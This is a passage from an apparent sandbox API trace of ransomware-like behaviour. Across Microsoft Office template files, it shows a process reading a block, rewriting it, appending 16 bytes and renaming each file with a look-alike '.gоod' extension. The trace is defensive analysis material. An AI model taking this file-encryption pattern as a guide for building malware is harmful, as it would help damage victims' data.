dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0213.091] GetFileType (hFile=0x768) returned 0x1 [0213.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0213.092] GetFileType (hFile=0x768) returned 0x1 [0213.092] WriteFile (in: hFile=0x768, lpBuffer=0x353e330*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x353e330*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0213.092] CloseHandle (hObject=0x768) returned 1 [0213.092] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT", lpFilePart=0x0) returned 0x3e [0213.092] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT.gоod", lpFilePart=0x0) returned 0x43 [0213.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0213.092] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr8.xlt"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x7b3965d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7410)) returned 1 [0213.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0213.092] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr8.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr8.xlt.gоod")) returned 1 [0213.093] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT", lpFilePart=0x0) returned 0x3e [0213.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0213.093] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr9.xlt"), fInfoLevelId=0x0, lpFileInformation=0x35bbb30 | out: lpFileInformation=0x35bbb30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3c29db74, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7600)) returned 1 [0213.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0213.094] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT", lpFilePart=0x0) returned 0x3e [0213.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0213.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr9.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0213.094] GetFileType (hFile=0x768) returned 0x1 [0213.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0213.095] GetFileType (hFile=0x768) returned 0x1 [0213.095] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0213.095] ReadFile (in: hFile=0x768, lpBuffer=0x35bbf18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x35bbf18*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0213.519] CloseHandle (hObject=0x768) returned 1 [0213.519] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT", lpFilePart=0x0) returned 0x3e [0213.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0213.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr9.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0213.520] GetFileType (hFile=0x768) returned 0x1 [0213.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0213.520] GetFileType (hFile=0x768) returned 0x1 [0213.520] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x7600 [0213.520] WriteFile (in: hFile=0x768, lpBuffer=0x35825d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x35825d8*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0213.521] CloseHandle (hObject=0x768) returned 1 [0213.521] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT", lpFilePart=0x0) returned 0x3e [0213.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0213.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr9.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0213.521] GetFileType (hFile=0x768) returned 0x1 [0213.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0213.521] GetFileType (hFile=0x768) returned 0x1 [0213.521] ReadFile (in: hFile=0x768, lpBuffer=0x3584880, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x3584880*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0213.549] CloseHandle (hObject=0x768) returned 1 [0213.549] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT", lpFilePart=0x0) returned 0x3e [0213.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0213.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr9.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0213.549] GetFileType (hFile=0x768) returned 0x1 [0213.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0213.549] GetFileType (hFile=0x768) returned 0x1 [0213.549] WriteFile (in: hFile=0x768, lpBuffer=0x35835f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x35835f0*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0213.549] CloseHandle (hObject=0x768) returned 1 [0213.550] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT", lpFilePart=0x0) returned 0x3e [0213.550] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT.gоod", lpFilePart=0x0) returned 0x43 [0213.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0213.550] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr9.xlt"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3c29db74, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x7b7e8a23, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7610)) returned 1 [0213.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0213.550] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr9.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr9.xlt.gоod")) returned 1 [0213.551] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx", lpFilePart=0x0) returned 0x4b [0213.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0213.551] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3602e20 | out: lpFileInformation=0x3602e20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6c858b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27b98)) returned 1 [0213.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0213.553] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx", lpFilePart=0x0) returned 0x4b [0213.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0213.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0213.553] GetFileType (hFile=0x768) returned 0x1 [0213.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0213.553] GetFileType (hFile=0x768) returned 0x1 [0213.553] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0213.553] ReadFile (in: hFile=0x768, lpBuffer=0x3603268, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3603268*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0214.288] CloseHandle (hObject=0x768) returned 1 [0215.459] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx", lpFilePart=0x0) returned 0x4b [0215.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0215.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0215.460] GetFileType (hFile=0x478) returned 0x1 [0215.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0215.460] GetFileType (hFile=0x478) returned 0x1 [0215.460] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x27b98 [0215.460] WriteFile (in: hFile=0x478, lpBuffer=0x3a08ee0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x3a08ee0*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0215.461] CloseHandle (hObject=0x478) returned 1 [0215.461] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx", lpFilePart=0x0) returned 0x4b [0215.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0215.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0215.461] GetFileType (hFile=0x478) returned 0x1 [0215.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0215.461] GetFileType (hFile=0x478) returned 0x1 [0215.461] ReadFile (in: hFile=0x478, lpBuffer=0x3a0b1b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x3a0b1b8*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0215.567] CloseHandle (hObject=0x478) returned 1 [0215.567] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx", lpFilePart=0x0) returned 0x4b [0215.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0215.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0215.567] GetFileType (hFile=0x478) returned 0x1 [0215.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0215.567] GetFileType (hFile=0x478) returned 0x1 [0215.567] WriteFile (in: hFile=0x478, lpBuffer=0x3504008*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x3504008*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0215.567] CloseHandle (hObject=0x478) returned 1 [0215.567] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx", lpFilePart=0x0) returned 0x4b [0215.567] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx.gоod", lpFilePart=0x0) returned 0x50 [0215.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0215.568] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7cb28ab4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x27ba8)) returned 1 [0215.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0215.568] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryletter.dotx.gоod")) returned 1 [0215.569] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx", lpFilePart=0x0) returned 0x4f [0215.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0215.569] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecarynewsletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x350c170 | out: lpFileInformation=0x350c170*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8b847f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8b847f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x37480)) returned 1 [0215.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0215.570] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx", lpFilePart=0x0) returned 0x4f [0215.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0215.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecarynewsletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0215.570] GetFileType (hFile=0x478) returned 0x1 [0215.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0215.570] GetFileType (hFile=0x478) returned 0x1 [0215.570] SetFilePointer (in: hFile=0x478, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0215.570] ReadFile (in: hFile=0x478, lpBuffer=0x350c608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x350c608*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0215.572] CloseHandle (hObject=0x478) returned 1 [0215.572] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx", lpFilePart=0x0) returned 0x4f [0215.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0215.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecarynewsletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0215.572] GetFileType (hFile=0x478) returned 0x1 [0215.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0215.572] GetFileType (hFile=0x478) returned 0x1 [0215.572] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x37480 [0215.572] WriteFile (in: hFile=0x478, lpBuffer=0x350d938*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x350d938*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0215.573] CloseHandle (hObject=0x478) returned 1 [0215.573] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx", lpFilePart=0x0) returned 0x4f [0215.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0215.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecarynewsletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0215.574] GetFileType (hFile=0x478) returned 0x1 [0215.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0215.574] GetFileType (hFile=0x478) returned 0x1 [0215.574] ReadFile (in: hFile=0x478, lpBuffer=0x350fc80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x350fc80*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0216.720] CloseHandle (hObject=0x478) returned 1 [0216.720] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx", lpFilePart=0x0) returned 0x4f [0216.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0216.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecarynewsletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0216.720] GetFileType (hFile=0x478) returned 0x1 [0216.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0216.720] GetFileType (hFile=0x478) returned 0x1 [0216.720] WriteFile (in: hFile=0x478, lpBuffer=0x350bfc8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x350bfc8*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0216.721] CloseHandle (hObject=0x478) returned 1 [0216.721] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx", lpFilePart=0x0) returned 0x4f [0216.721] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx.gоod", lpFilePart=0x0) returned 0x54 [0216.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0216.721] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecarynewsletter.dotx"), 